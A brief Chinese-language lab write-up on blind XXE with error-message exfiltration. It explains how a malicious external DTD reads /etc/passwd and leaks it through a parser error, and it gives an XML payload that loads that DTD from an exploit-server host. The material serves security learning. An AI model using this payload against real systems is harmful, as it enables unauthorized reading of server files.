# XXE Lab6 這題是利用盲注 XXE 利用錯誤訊息回顯本地檔案。 ### 原理: - 惡意 DTD 會先把 `/etc/passwd` 讀入一個實體 `%file`。 - 再製造一個錯誤的檔案路徑:`file:///invalid/%file;`,因為路徑不正確,XML 解析器會丟錯誤。 - 錯誤訊息會顯示該無效路徑裡的 `%file` 內容,也就是 `/etc/passwd` 的內容。 - 這樣就能透過錯誤回顯拿到本地機器檔案。 ### 實作: 一樣進入網站並建立惡意 DTD 檔。 ![image](https://hackmd.io/_uploads/H13wNB7Hel.png) 並在送出的 XML 中插入: ``` <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-0a85004e030490d3818fc43e0117008d.exploit-server.net/exploit"> %xxe; ]> ``` ![image](https://hackmd.io/_uploads/r1RJHrmHgx.png) ![image](https://hackmd.io/_uploads/r1A7BHmBex.png) ---